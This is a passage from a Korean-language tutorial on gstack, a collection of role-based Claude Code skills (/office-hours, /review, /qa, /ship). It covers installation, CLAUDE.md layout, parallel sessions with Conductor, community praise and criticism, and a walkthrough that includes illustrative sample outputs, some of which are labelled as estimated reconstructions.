(참고: Factory Droid 지원은 CHANGELOG v0.13.8.0(2026-03-29)에서 공식 제거되었다. README에 일부 흔적이 남아 있으나 현재는 미지원이다.)

# Codex CLI 설치 (레포 로컬)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git .agents/skills/gstack && \
cd .agents/skills/gstack && ./setup --host codex

# Codex CLI 설치 (유저 글로벌)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git ~/gstack && \
cd ~/gstack && ./setup --host codex

# 에이전트 자동 감지 (Codex, Gemini, Cursor 등 설치된 것 자동 탐지)
git clone --single-branch --depth 1 https://github.com/garrytan/gstack.git ~/gstack && \
cd ~/gstack && ./setup --host auto

⚠️ 설치 커맨드 최신 확인

gstack은 빠르게 진화 중이다. 설치 방식이 업데이트될 수 있으므로 공식 README에서 최신 커맨드를 확인하는 것을 권장한다.

5. CLAUDE.md 및 설정 파일 구조

CLAUDE.md란?

CLAUDE.md는 Claude Code가 프로젝트를 이해하는 데 사용하는 설정 파일이다. 프로젝트 루트 또는 ~/.claude/ 디렉토리에 위치하며, 프로젝트 컨텍스트, 규칙, 사용 가능한 스킬 목록 등을 기술한다. Claude Code는 대화를 시작할 때 이 파일을 자동으로 읽어 컨텍스트로 활용한다. gstack을 설치하면 이 파일에 gstack 스킬 목록이 자동으로 추가된다.

gstack 설치 후 `~/.claude/` 또는 프로젝트의 `.claude/` 디렉토리 구조를 살펴보면 다음과 같다:

~/.claude/
├── CLAUDE.md                    # 메인 설정 파일 (gstack 스킬 목록 포함)
└── skills/
    └── gstack/
        ├── CLAUDE.md            # gstack 전용 개발 가이드
        ├── ARCHITECTURE.md      # 시스템 아키텍처 문서
        ├── BROWSER.md           # 브라우저 자동화 가이드
        ├── browse/              # Playwright 브라우저 CLI
        ├── qa/                  # QA 자동화 스킬
        ├── plan-ceo-review/     # CEO 리뷰 스킬
        │   └── SKILL.md
        ├── plan-eng-review/     # EM 리뷰 스킬
        │   └── SKILL.md
        ├── review/              # Staff Engineer 리뷰 스킬
        │   └── SKILL.md
        ├── ship/                # Release Engineer 스킬
        │   └── SKILL.md
        ├── setup-browser-cookies/
        │   └── SKILL.md
        ├── retro/
        │   └── SKILL.md
        └── .gstack/             # 세션 데이터 (병렬 실행 시)

CLAUDE.md 설정 예시

gstack이 설치되면 메인 `CLAUDE.md`에 스킬 목록이 자동으로 추가된다. 개발자가 직접 커스터마이징할 수 있는 형태는 대략 다음과 같다 (⚠️ 추정: 실제 형식은 공식 레포에서 확인):

# CLAUDE.md (예시 — ⚠️ 추정 기반 재구성)

## Project Context
[프로젝트 설명]

## gstack Skills
다음 슬래시 커맨드를 사용해 개발 워크플로우를 진행한다:

- /plan-ceo-review : 창업자 시각에서 문제 재정의 및 10배 솔루션 탐색
- /plan-eng-review : 아키텍처 확정, 데이터 플로우, 에지 케이스 정의
- /review          : Staff Engineer 수준의 프로덕션 버그 탐색
- /ship            : 싱크 → 테스트 → PR 생성 → 배포
- /browse          : Playwright 브라우저로 실제 화면 확인
- /qa              : diff 기반 자동화 테스트
- /retro           : 팀 메트릭 기반 회고 생성

## Workflow Philosophy
Planning is not review. Review is not shipping.
Each skill activates a distinct cognitive mode — do not blend them.

## Tech Stack
[프로젝트 기술 스택]

## Key Rules
- /browse 사용 시 Chrome MCP 도구 금지, gstack 바이너리 사용
- SKILL.md 파일은 템플릿에서 자동 생성 — 직접 수정 금지

SKILL.md 파일 구조

gstack의 중요한 내부 규칙이 있다: SKILL.md 파일은 `.tmpl` 템플릿에서 자동 생성된다. 직접 편집하면 안 되고, 템플릿 파일을 수정한 후 생성 스크립트를 실행해야 한다. 이 구조는 일관성을 보장하고 실수를 방지한다.

# SKILL.md 수정 방법 (올바른 방법)
# 1. 템플릿 파일 수정
# ⚠️ 아래는 추정 기반 예시 — 실제 명령은 공식 레포 CONTRIBUTING.md 참조
vim plan-ceo-review/SKILL.md.tmpl

# SKILL.md 재생성 (정확한 명령은 레포에서 확인)
bun run gen:skill-docs  # 또는 다른 빌드 스크립트일 수 있음

# 틀린 방법 (하면 안 됨)
# vim plan-ceo-review/SKILL.md  ← 직접 수정 금지

6. Conductor와의 병렬 실행

gstack은 단독으로도 강력하지만, Conductor와 함께 사용할 때 진가를 발휘한다.

Conductor는 여러 Claude Code 세션을 격리된 워크스페이스에서 동시에 실행하는 도구다.

(Garry Tan은 10~15개의 병렬 스프린트를 동시에 실행한다고 밝혔다.)

gstack + Conductor 조합으로 가능한 것:

10개의 전문화된 Claude Code 세션 동시 실행
각 세션이 독립된 브라우저 인스턴스와 쿠키를 갖고 있어 포트 충돌 없음
세션별 로그와 상태가 .gstack/ 디렉토리에 분리 저장
예: CEO 리뷰 세션 + 코드 리뷰 세션 + QA 세션을 동시에 병렬 실행

병렬 실행 시나리오 예시

새로운 기능을 개발할 때:

세션 1 — /plan-ceo-review: "이 기능이 정말 사용자에게 필요한가? 더 나은 대안은?"
세션 2 — /plan-eng-review: 아키텍처 설계 및 데이터 플로우 작성
세션 3 — /review: 기존 코드베이스에서 영향받는 부분 분석
세션 4 — /qa: 현재 테스트 커버리지 확인 및 테스트 계획 수립

이 4개 세션이 동시에 병렬로 실행되어, 혼자서도 팀처럼 일하는 것이 가능하다.

7. 이 방식의 장점과 한계

장점

인지 모드 분리의 효과: 기획할 때는 기획자처럼, 리뷰할 때는 엔지니어처럼 사고하도록 강제함으로써 각 단계의 품질이 높아진다. "범용 모드"에서 발생하는 타협 없이 각 역할의 전문성을 최대한 끌어낸다.
일관성: 슬래시 커맨드 하나로 복잡한 워크플로우를 재현할 수 있다. 팀원이 바뀌어도, 시간이 지나도 동일한 프로세스를 따른다.
브라우저 자동화 통합: /browse와 /qa를 통해 실제 시각적 검증을 자동화할 수 있다. "화면에 버튼이 보이는지 확인해줘" 수준의 QA를 AI가 처리한다.
Greptile 통합: 자동화된 코드 리뷰 도구를 트리아지하는 기능이 실전에서 매우 유용하다. 오탐지 필터링이 수동 리뷰 시간을 크게 줄인다.
검증된 생산성: Garry Tan 본인이 gstack으로 일당 10,000~20,000 LOC를 파트타임으로 유지했다고 밝혔다. 주간 회고 기준 140,751줄 추가, 362 커밋, 약 115K net LOC를 기록했으며, 총 600,000줄 이상의 프로덕션 코드(35%가 테스트)를 작성했다. (출처: gstack README — 자체 보고 수치)
멀티 에이전트 지원: Claude Code 전용이 아닌, Codex·Gemini CLI·Cursor까지 지원하여 도구 종속성을 줄인다. --host auto 플래그로 설치된 에이전트를 자동 감지한다.
보안 스킬 내장: /cso(OWASP Top 10 + STRIDE), /careful, /freeze, /guard 등 안전 가드레일이 기본 내장되어 프로덕션 실수를 방지한다.
오픈소스 + YC의 신뢰: MIT 라이선스, 56,000+ 스타(2026-03-30 기준), YC CEO가 실제 사용하는 셋업이라는 점에서 실전 검증이 된 방법론이다.

한계 및 주의사항

진입 장벽: Bun 설치, 바이너리 컴파일, Claude Code 숙련도가 필요하다. 초보자에게는 어렵다.
Windows 제한적 지원: /browse 스킬은 macOS와 Linux에서 가장 안정적이다. Windows 11에서는 Git Bash 또는 WSL을 통해 사용 가능하나, Bun 버그(bun#4253)로 인해 Node.js가 추가로 필요하다. (출처: README)
비용: 병렬 Claude Code 세션 실행은 API 비용이 빠르게 증가할 수 있다. gstack 자체 문서에서도 테스트 실행 비용을 명시적으로 언급한다 (eval 테스트 ~$4/회, E2E ~$3.85/회).
Conductor 의존성: 병렬 실행의 진정한 가치는 Conductor와 함께 사용해야 나온다. 별도 도구 학습이 필요하다.
영어 중심: 스킬 파일이 영어로 작성되어 있으며, 한국어 맥락에서의 최적화는 별도 커스터마이징이 필요할 수 있다.

8. 커뮤니티 반응 — 찬사와 논쟁

gstack은 2026년 3월 공개 이후 48시간 만에 GitHub 스타 10,000개를 돌파하며 역대 가장 빠르게 성장한 개발 도구 중 하나가 되었다. 동시에 뜨거운 찬반 논쟁도 불러일으켰다.

TechCrunch가 "Why Garry Tan's Claude Code setup has gotten so much love, and hate"이라는 제목으로 보도할 정도였다.

긍정적 반응

출처	핵심 반응
GitHub	48시간 만에 10K+ 스타, 2주 만에 47,800+ 스타. 2026년 가장 빠른 개발 도구 성장 기록 (2026-03-26 기준)
Reddit 500+ 개발자 종합 (Dev.to)	"install staff engineer brain" — 체크리스트 기반 사고방식을 빌려오는 느낌이라 주니어 개발자에게 특히 유용
보안 커뮤니티	구조화된 리뷰 스킬이 실제 XSS 취약점을 발견한 사례 보고. 사람이 놓칠 수 있는 미묘한 보안 결함 탐지 (출처: Junia AI 종합 분석)
스타트업 생태계	워크플로우 표준화 도구로서의 가치 인정. 팀원마다 AI 활용 격차가 큰 문제("같은 AI인데 왜 결과가 다르지?")를 해결 (출처: Agent Native Medium)
Product Hunt	#3 Day Rank, 457 업보트. "persistent browser daemon이 진짜 기술적 기여"라는 평가 (출처: Product Hunt 직접 조회, 2026-03-26)
Hacker News	계획 리뷰와 코드 리뷰를 분리하는 설계가 아키텍처적으로 건전하다는 평가. gstack++ C++ 포크가 등장할 정도로 커뮤니티 확장
한국 Threads	@choi.openai, @github.awesome 등 한국 AI 인플루언서들이 설치 가이드 공유. "코딩 전에 두 개의 플래닝 스킬을 먼저 사용하는 구조"에 주목
GeekNews (긱뉴스)	"Claude Code로 만드는 가상 엔지니어링 팀"으로 소개. 한국 개발자 커뮤니티에서 적극적 수용
Xiao Tan (X.com)	"제 사소한 피드백이 실제로 반영될 줄 몰랐다. small indie founders에게 스타트업 멘토가 생긴 것 같다." — /office-hours를 더 엄격하게 해달라는 중국 커뮤니티 피드백이 실제 업데이트로 이어진 사례. 오픈소스 커뮤니티 피드백 루프의 실제 작동을 보여줌
Garry Tan (X.com — Python 에이전트 지원)	"It works with any python agent! Neat. Had no idea." — Hacker News 토론에서 Claude Code 전용 여부 질문 후 Garry Tan이 직접 확인. gstack은 SKILL.md 표준을 따르는 모든 Python 에이전트에서 작동 (출처: Garry Tan X.com 직접 발언)

부정적 반응 / 비판

출처	핵심 비판
Mo Bitar (개발자/블로거)	"결국 텍스트 파일에 담긴 프롬프트 모음" — 이미 Claude Code 사용자 다수가 자체적으로 만들어 쓰던 것과 다르지 않다 (출처: CryptoRank 종합 보도)
Reddit/HN 회의론자	YC CEO라는 지위가 도구의 독창성이 아닌 가시성을 만들었다는 비판. "같은 걸 무명 개발자가 올렸으면 100 스타도 못 받았을 것"
시니어 엔지니어 그룹	"시니어 판단력의 환상을 만든다" — 실제 이해 없이 체크리스트만 따르면 위험할 수 있다는 우려 (출처: Luong Nguyen Medium 분석)
비용 우려	병렬 세션 실행 시 API 비용이 빠르게 증가. 개인 개발자에게는 부담스러울 수 있다 (출처: SitePoint 튜토리얼)
Product Hunt (Sherveen Mashayekhi)	"YC CEO가 아니었으면 PH에 올라오지도 못했을 것" — Free Agency 창업자의 직접적 비판
AI Sycophancy 논쟁	"전문가에게는 속도를 높이고, 초보자에게는 전문가인 듯한 착각을 만든다" — 3,000명 참가 연구에서 AI 챗봇이 과신을 증가시킨다는 결과를 gstack에 적용한 분석
Hacker News — 에이전트 루프 버그 사례	"에이전트가 70분간 루프에 빠져 스테이징 URL을 프로덕션 설정 파일에 반복 주입했다" — 자동화 스킬 사용 시 의도치 않은 파괴적 동작 가능성을 경고한 HN 댓글. gstack의 /careful·/freeze 가드레일이 필요한 이유를 역설적으로 보여주는 사례 (출처: HN item#47355173 댓글)
Hacker News — CTO 해고 역설론	"AI 프롬프트 셋이 CTO보다 먼저 XSS 취약점을 발견했다면, 그 CTO는 해고되어야 한다" — Garry Tan의 CTO 친구가 gstack으로 XSS를 발견했다는 에피소드에 대한 역설적 반박. AI가 보완재가 아닌 대체재가 되는 상황에 대한 불편한 질문
Reddit / HN — LOC 지표 비판	"600,000줄 코드로 무엇을 만들었나?" — LOC(코드 줄 수)는 나쁜 성과 지표라는 오랜 공학 원칙을 들어, Garry Tan의 생산성 수치 자랑 자체를 문제 삼는 비판. AI가 생성하는 보일러플레이트 코드가 LOC를 인위적으로 부풀린다는 우려 포함

Garry Tan의 대응

비판에 대해 Garry Tan은 직접 반박했다. "This is exactly why I released gstack. Rather than assume I'm doing it wrong, how about you try and see it work for you. I'll give you a money back guarantee, which is easy because it's free open source."

(이것이 바로 내가 gstack을 공개한 이유다. 내가 잘못하고 있다고 단정하기보다는, 직접 사용해보고 너에게도 잘 맞는지 확인해보는 건 어떨까? 환불 보장(money back guarantee)도 해줄게 — 물론 무료 오픈소스(free open source)라서 환불도 아주 쉽지만 말이야.)

중국 커뮤니티의 피드백은 실제 기능 개선으로 이어졌다 — "Chinese Twitter said that /office-hours in gstack was not hard enough on founders, so I made them harder."

(“중국 트위터에서 gstack의 /office-hours 기능이 창업자들에게 충분히 엄격하지 않다고 하길래, 그래서 나는 그것을 더 빡세게 만들었다.”)

Garry Tan의 주목할 만한 추가 발언

공개 이후 Garry Tan은 X.com에서 gstack의 맥락을 이해하는 데 중요한 발언들을 추가로 남겼다.

"GStack은 실제 YC 배치의 10%에 불과하다"

"GStack is only 10% power of what it's like to actually come and go through a Y Combinator batch." — gstack이 YC 경험의 대체재가 아니라는 직접적인 한계 인정. /office-hours 스킬이 실제 YC 창업자 멘토링의 일부만 재현한다는 솔직한 자기 평가다. 이 발언은 gstack 과대 기대를 교정하는 중요한 맥락이다.

"어떤 Python 에이전트에서도 작동한다"

"It works with any python agent! Neat. Had no idea." — Hacker News 토론에서 Claude Code 전용 여부를 묻는 질문에 Garry Tan이 직접 답변. SKILL.md 표준을 따르는 Python 에이전트라면 모두 호환된다. Claude Code·Codex 외 더 광범위한 에이전트 생태계 지원이 확인된 셈이다.

"/autoplan이 권장 방법이다"

Garry Tan은 이후 /plan-ceo-review → /plan-eng-review 순차 실행 대신 /autoplan 단일 커맨드를 직접 권장하기 시작했다. CEO → Design → Eng 리뷰를 자동 순차 실행하며, "taste decisions"만 사용자에게 질문하는 방식이다. 처음 gstack을 접한다면 /autoplan이 가장 진입하기 쉬운 시작점이다.

병원 병상 옆에서 코딩한 인간적 맥락

"I am coding a lot, GStack is helping me do it, but also... last week my mom was in the hospital... I was coding by her bedside too." — gstack 공개 직후 Austin 폭설로 발이 묶인 상태, 어머니 입원이라는 개인적 어려움 속에서도 코딩을 이어간 에피소드. 도구 홍보 맥락과 별개로, AI 코딩 도구가 삶의 어떤 상황에서도 생산성을 유지할 수 있게 한다는 현실적 사례다.

이 반응들이 보여주는 것

찬반이 갈리는 핵심은 "구조화된 프롬프트가 실제 전문성을 대체할 수 있는가?"라는 질문이다. 긍정론은 "최소한 일관된 품질 바닥선을 만든다"는 입장이고, 부정론은 "바닥선이 아니라 천장의 환상을 만든다"는 입장이다. sycophancy 연구가 시사하듯, 같은 도구가 사용자 수준에 따라 다른 효과를 낳는다. 실용적 관점에서는, gstack의 가치는 도구 자체보다 "개발 프로세스를 명시적으로 구조화한다"는 방법론에 있다. 프롬프트는 포크해서 바꿀 수 있지만, 역할 분리라는 사고 습관은 코드로 옮기기 전에 먼저 체득해야 한다.

9. 실전 활용: Codex 주간 리밋 후 gstack + Claude Code 워크플로우

2026년 3월 현재, OpenAI Codex는 Plus 구독자에게 주간 사용량 제한을 적용하고 있다.

복잡한 프롬프트로 빠르게 사용량을 소진하거나, 주간 리밋에 도달했다는 사례가 커뮤니티에서 자주 보고된다. (참고: Codex Usage Limits 토론, OpenAI 공식 Codex 플랜 안내)

이 상황에서 커뮤니티에서 공유되는 워크플로우가 있다. Codex 리밋이 걸렸을 때 Claude Code + gstack으로 전환하여, 시간은 더 걸리더라도 품질 면에서 만족스러운 결과를 내는 방식이다. gstack이 Claude Code뿐 아니라 Codex까지 지원하게 되면서, 두 도구를 상호 보완적으로 쓰는 패턴이 자연스럽게 생겼다.

6단계 하이브리드 워크플로우

상황: Codex 주간 리밋 도달 → Claude Code로 전환

Step 1. gstack 설치 — Claude Code에 gstack 글로벌 설치

Step 2. /office-hours — gstack의 YC Office Hours 스킬로 구현 계획을 수립. 6가지 강제 질문으로 문제를 재정의하고 디자인 문서를 생성

Step 3. /plan-ceo-review · /plan-eng-review · /plan-design-review — 필요에 따라 CEO, 엔지니어링, 디자인 관점의 리뷰를 실행. 각 관점에서 계획의 빈틈을 찾아낸다

Step 4. 구현 실행 — 계획이 충분히 다듬어지면 Claude Code(또는 리밋이 풀린 Codex)로 구현. ralph-loop 등 자동화 도구를 활용하면 "이 계획 적용해줘" 한마디로 실행 가능

Step 5. /review — Staff Engineer 모드로 구현된 코드를 리뷰. CI를 통과하지만 프로덕션에서 문제가 될 수 있는 버그를 탐색

Step 6. /qa — diff-aware 테스트로 변경 사항의 영향 범위를 검증. /browse로 실제 화면 확인까지

왜 시간이 더 걸려도 품질이 만족스러운가?

핵심은 "계획에 투자하는 시간"이다. Codex는 빠르게 코드를 생성하지만, 그 전에 충분한 계획이 없으면 잘못된 방향으로 빠르게 달리는 셈이다.

gstack의 /office-hours → /plan-*-review 파이프라인은 코딩 전에 충분한 시간을 투자해서 문제를 정확히 정의한다. 이 "느린 시작"이 결과적으로 재작업을 줄이고 전체 품질을 높인다.

Garry Tan 본인도 "The sprint structure is what makes parallelism work — without process, ten agents equals ten sources of chaos"(스프린트 구조(sprint structure)가 바로 병렬성(parallelism)을 제대로 작동하게 만드는 핵심이다 — 프로세스(process)가 없다면, 10개의 에이전트는 곧 10개의 혼란의 원천이 될 뿐이다.)라고 설명한다.

(출처: gstack README)

gstack /codex 스킬: 크로스 모델 검증

흥미로운 점은 gstack 자체에 /codex 스킬이 내장되어 있다는 것이다. OpenAI Codex CLI를 통해 독립적인 Second Opinion을 받을 수 있다. 3가지 모드를 제공한다:

Review 모드: 코드 리뷰 pass/fail 게이트. Claude의 /review와 Codex의 /codex를 모두 실행하면 크로스 모델 분석 제공
Adversarial 모드: 적대적 챌린지. Claude가 작성한 코드를 Codex가 공격적으로 검증
Open Consultation 모드: 특정 질문에 대해 다른 관점을 얻기 위한 오픈 상담

이 기능 덕분에 Codex 리밋 상황에서도 "계획은 gstack으로, 리밋이 풀리면 /codex로 크로스 체크"하는 전략이 가능하다.

10. 튜토리얼 : 처음 gstack 써보기

설치가 끝났다면 실제로 써보자.

아래 튜토리얼은 gstack 공식 docs/skills.md와 README의 예시를 기반으로 재구성했다.

(출처: gstack 공식 문서, 2026-03-26 기준)

시나리오: "일정 관리 앱에 일일 브리핑 기능 추가하기"

이 튜토리얼은 기존 프로젝트에 기능을 추가하는 시나리오다. 아직 프로젝트가 없다면, 간단한 테스트 프로젝트(예: npx create-next-app my-test-app)를 하나 생성한 뒤 진행하면 된다.

여러 Google 캘린더를 관리하다 보면 이벤트 정보가 오래되거나 장소가 틀린 경우가 있고, 미팅 준비 시간이 너무 오래 걸린다. 이 문제를 해결하는 "일일 브리핑 기능"을 추가하려 한다. gstack 전체 워크플로우를 처음부터 끝까지 따라가 본다.

Step 1: /office-hours — 문제 찾기 (5~10분)

코드 한 줄도 쓰기 전에 /office-hours로 시작한다. 6가지 강제 질문으로 "일일 브리핑 앱"이라는 생각을 검증한다.

Claude Code에 입력:

일정 관리 앱에 일일 브리핑 기능을 추가하려 한다.
/office-hours

Claude의 응답 (gstack README 공식 예시 기반):

잠깐. "일일 브리핑 앱"이라고 하셨는데, 실제로 묘사하신 것은 개인 비서 AI(personal chief of staff AI)에 가깝습니다.

몇 가지 구체적인 고통에 대해 더 파고들겠습니다:
1. 지금은 이 문제를 어떻게 처리하고 있나요?
2. 브리핑이 실패하는 구체적인 순간이 언제인가요?
3. 이 기능 없이 가장 불편했던 실제 사례는?

[답변 후 AI 분석]
제가 발견한 것:
- "일일 브리핑"이 아니라 준비 자동화 문제입니다
- 5가지 기능을 동시에 묘사하셨는데, 내일까지 배포 가능한 최소 버전은: 다음 미팅 10분 전 자동 알림입니다
- [3가지 구현 대안과 예상 작업량 제시]

권장: 가장 좁은 버전을 내일 배포하세요.
[디자인 문서를 ~/.gstack/projects/에 저장 완료]

무엇이 달라지는가? 범용 Claude Code에 같은 요청을 했다면 바로 코딩을 시작했을 것이다. /office-hours는 방향 자체를 재정의하고, 이 디자인 문서가 이후 모든 스킬의 입력이 된다.

Step 2: /autoplan — 기획·디자인·엔지니어링 리뷰 자동 실행 (5분)

Garry Tan이 직접 권장하는 시작점이다.

/plan-ceo-review → /plan-design-review → /plan-eng-review를 수동으로 순차 실행하는 대신, /autoplan 하나로 자동화한다. 판단이 필요한 "taste decisions"만 사용자에게 질문한다. (출처: Garry Tan X.com)

Claude Code에 입력:

/autoplan

실행 결과 — Review Readiness Dashboard (gstack docs/skills.md 공식 예시):

+====================================================================+
|                    REVIEW READINESS DASHBOARD                       |
+====================================================================+
| Review          | Runs | Last Run            | Status    | Required |
|-----------------|------|---------------------|-----------|----------|
| Eng Review      |  1   | 2026-03-16 15:00    | CLEAR     | YES      |
| CEO Review      |  1   | 2026-03-16 14:30    | CLEAR     | no       |
| Design Review   |  0   | —                   | —         | no       |
+--------------------------------------------------------------------+
| VERDICT: CLEARED — Eng Review passed                                |
+====================================================================+

Eng Review가 유일한 필수(Required) 게이트다. CLEAR가 되면 구현을 시작할 수 있다.

계획이 확정됐다. 이제 Claude Code로 실제 구현을 진행한다 (gstack README 예시 기준: 약 8분, 11개 파일, 2,400줄 작성).

Step 3: /review — Staff Engineer 코드 감사 (3분)

코딩이 끝났다면 Staff Engineer 모드로 검토한다. CI를 통과하더라도 프로덕션에서 문제가 될 수 있는 버그를 찾는다. N+1 쿼리, 레이스 컨디션, 누락된 타임아웃, 잘못된 재시도 로직 등을 자동으로 탐색한다.

Claude Code에 입력:

/review

실행 결과 (gstack README 공식 예시 기반):

[AUTO-FIXED] 2건 자동 수정됨
  • auth/session.ts:147 — 만료 토큰 자동 갱신 누락
  • api/calendar.ts:89 — API 타임아웃 처리 누락

[ASK] 판단이 필요한 항목 1건:
  • services/sync.ts:203 — 두 캘린더 동기화 요청이 동시에 들어올 때 race condition 발생 가능.
    뮤텍스(mutex)를 추가하면 안전하지만 성능이 약간 낮아집니다. 추가할까요? [Y/N]

포인트: [AUTO-FIXED]는 Claude가 판단 없이 고쳐도 되는 명확한 버그다. [ASK]는 트레이드오프가 있어 개발자의 결정이 필요한 항목이다 — 기술적 가능성을 제시하고 결정은 사람이 한다.

Step 4: /qa — 실제 브라우저 자동화 테스트 (5분)

코드 리뷰가 끝났다면 실제 Chromium 브라우저로 앱을 테스트한다. /qa는 diff-aware로 변경 사항이 영향을 미치는 페이지를 먼저 테스트하고, 버그를 발견하면 atomic commit으로 수정한 뒤 회귀 테스트까지 자동 생성한다.

Claude Code에 입력:

/qa https://localhost:3000

실행 과정 (기능 설명 기반 예시, [ESTIMATE]):

git diff 분석 중... 브리핑 API, 알림 컴포넌트 변경 감지
실제 Chromium 시작 중... (첫 실행 ~3초, 이후 ~100ms/명령)

[1/4] /dashboard — 브리핑 카드 렌더링
[2/4] /settings/notifications — 알림 설정 저장
[3/4] /api/briefing/generate — 응답 2.3초 (권장: 2초 이하)
[4/4] 캘린더 연결 해제 시 fallback 화면 버그 발견

[AUTO-FIX] 오류 화면 → 빈 상태 UI로 수정 후 커밋
회귀 테스트 자동 생성: tests/calendar-disconnected.spec.ts

앱 건강 점수: 72/100 → 89/100

[ESTIMATE] 위 출력 형식은 /qa의 공식 기능(diff-aware 테스트, auto-fix, 회귀 테스트 생성, Health Score)을 기반으로 재구성한 예시입니다. 실제 출력 형식은 다를 수 있습니다.

팁 — 로그인이 필요한 페이지 테스트: 먼저 /setup-browser-cookies를 실행한다. Chrome/Arc/Brave/Edge의 실제 쿠키를 가져와 헤드리스 브라우저에 임포트하므로, 로그인된 상태로 대시보드·관리자 페이지를 테스트할 수 있다.

Step 5: /ship — PR 생성 및 배포 (2분)

주의: /ship은 실제로 코드를 push하고 PR을 생성한다

/ship은 데모가 아닌 실제 git push + PR 생성을 수행한다. 처음 gstack을 테스트한다면 별도의 테스트 레포를 만들어 사용하는 것을 권장한다. 프로덕션 레포에서 실수를 방지하려면 먼저 /careful 또는 /freeze를 실행하여 안전 가드레일을 활성화할 수 있다.

QA까지 통과했다면 이제 배포할 차례다. /ship이 main 싱크, 테스트 실행, 커버리지 감사, PR 생성을 한 번에 처리한다.

Claude Code에 입력:

/ship

실행 결과 (gstack README 공식 예시):

main 최신화 중...
테스트 실행 중...

커버리지: 42 → 51 테스트 (+9 신규)

PR 생성 완료: https://github.com/you/calendar-app/pull/42

보너스: /retro — 주간 회고 (1분)

한 주가 끝나면 /retro로 팀 메트릭과 개인별 피드백을 확인한다. 팀원 전체를 다루려면 /retro global로 프로젝트 전체 집계도 볼 수 있다.

Claude Code에 입력:

/retro

실행 결과 (gstack docs/skills.md 공식 예시):

3월 1일 주차: 47 커밋 (팀 3명) | 3,200 LOC | 테스트 비율 38% | PR 12개 | 피크: 오후 10시 | 스트릭: 47일

나의 이번 주
32 커밋, +2,400 LOC, 테스트 41%. 피크: 오후 9~11시
가장 큰 성과: 쿠키 임포트 시스템 (브라우저 복호화 + 피커 UI)
잘 한 것: 암호화, UI, 18개 유닛 테스트를 하나의 집중된 푸시로 완성

팀원 Alice
12 커밋, app/services/ 집중. 모든 PR 200 LOC 이하
기회: 테스트 비율 12% — 결제 기능이 복잡해지기 전에 보강 권장

전체 스프린트 워크플로우 요약

/office-hours 문제 재정의 (5~10분)
→ /autoplan CEO·디자인·엔지니어링 리뷰 자동화 (5분)
→ 구현 (시간 가변, Claude Code 기본 기능)
→ /review Staff Engineer 코드 감사 (3분)
→ /qa 브라우저 자동화 테스트 (5분)
→ /ship PR 생성 (2분)
→ /retro 주간 회고 (주 1회)

gstack 오버헤드: 약 25분 | 가장 큰 가치: /office-hours에서 방향을 제대로 잡는 10분

11. 직접 따라하기 — 나만의 역할별 에이전트 셋업

gstack을 그대로 사용하는 것 외에도, 이 철학을 응용해서 자신만의 역할별 CLAUDE.md를 만들 수 있다. gstack 없이도 핵심 아이디어를 적용하는 방법을 소개한다.

Step 1: 역할 매핑하기

내 프로젝트에서 어떤 역할이 필요한지 먼저 정의한다. 소규모 스타트업이라면 다음 정도가 실용적이다:

# 나만의 역할 정의 예시
역할 1: PM/기획 모드
  → "이 기능이 왜 필요한가? 사용자 가치는 무엇인가?"
  → 요구사항 명확화, 우선순위 결정

역할 2: 아키텍처 모드
  → "어떻게 구현할 것인가? 확장성은?"
  → 기술 스택 결정, 데이터 모델 설계

역할 3: 구현 모드 (일반 Claude Code 사용)
  → 실제 코드 작성

역할 4: 리뷰 모드
  → "버그는 없는가? 보안 이슈는? 성능은?"
  → 엄격한 시각으로 코드 재검토

역할 5: 배포 모드
  → 체크리스트 기반 배포 진행

Step 2: 역할별 CLAUDE.md 섹션 작성

단일 CLAUDE.md 파일 내에 역할별 섹션을 만들거나, 역할별로 별도 파일을 만들어 "지금은 이 모드로 동작해줘"라고 지정한다:

# CLAUDE.md — PM 모드 섹션 예시

## [PM 모드] 기획 단계 지침
이 모드에서는 제품 매니저의 시각으로 분석한다.

### 핵심 질문
1. 이 기능이 실제 사용자 문제를 해결하는가?
2. 더 간단한 방법은 없는가?
3. 이 기능 없이 MVP가 가능한가?
4. 성공 지표(metrics)는 무엇인가?

### 산출물
- 사용자 스토리 (User Story)
- 인수 기준 (Acceptance Criteria)
- 우선순위 결정 근거

---

## [아키텍처 모드] 설계 단계 지침
이 모드에서는 시니어 엔지니어의 시각으로 분석한다.

### 핵심 질문
1. 데이터 플로우는 명확한가?
2. 확장성 병목은 어디인가?
3. 에지 케이스는 무엇인가?
4. 기술 부채를 만들지 않는가?

### 산출물
- 아키텍처 다이어그램
- API 인터페이스 정의
- 에지 케이스 목록

Step 3: 실제 사용 — 모드 명시적 전환

Claude Code 대화에서 역할을 명시적으로 선언하고 시작한다:

# 사용 예시

# 기획 단계
"[PM 모드] 사용자 소셜 로그인 기능을 추가하려 한다.
CLAUDE.md의 PM 모드 지침에 따라 분석해줘."

# 아키텍처 단계
"[아키텍처 모드] 소셜 로그인 기능 구현 방법을 설계해줘.
데이터 플로우 다이어그램과 에지 케이스 목록을 포함해줘."

# 리뷰 단계
"[리뷰 모드] 방금 작성한 소셜 로그인 코드를 검토해줘.
CI를 통과하더라도 프로덕션에서 문제가 될 수 있는 부분을 중심으로."

gstack과 나만의 셋업, 뭘 선택해야 하나?

상황	추천
빠르게 시작하고 싶다	gstack 그대로 설치
브라우저 자동화 QA가 필요하다	gstack (/browse, /qa)
팀과 공유하고 일관성이 중요하다	gstack 팀 설치
내 프로젝트 특성에 맞게 커스터마이징하고 싶다	나만의 역할별 CLAUDE.md
Bun 설치가 번거롭다	나만의 역할별 CLAUDE.md (단순 텍스트)
병렬 에이전트 실행이 필요하다	gstack + Conductor

12. 결론

언제 쓰고, 언제 쓰지 않는가?

상황	gstack 추천 여부	이유
혼자 개발하는 스타트업 MVP	강력 추천	CEO·EM·QA 역할을 혼자 수행해야 할 때 가장 큰 가치를 발휘
팀의 AI 도구 활용 격차가 큰 경우	추천	표준화된 워크플로우로 일관된 품질 바닥선 확보
Codex 리밋 소진 시 대안 필요	추천	gstack + Claude Code로 계획·리뷰·QA 파이프라인 유지 가능
빠른 프로토타이핑만 필요한 경우	선택적	계획 단계가 오버헤드일 수 있음. /office-hours만 가볍게 사용 가능
이미 자체 CLAUDE.md가 잘 갖춰진 팀	선택적	gstack의 철학을 참고하되, 기존 셋업에 필요한 부분만 차용
AI 코딩 도구를 처음 접하는 입문자	주의	Claude Code 자체에 먼저 익숙해진 후 도입하는 것이 적합

도입 플레이북

오늘: github.com/garrytan/gstack README를 읽고 /office-hours 한 번 실행해본다. 현재 프로젝트의 가정을 도전해볼 기회다.
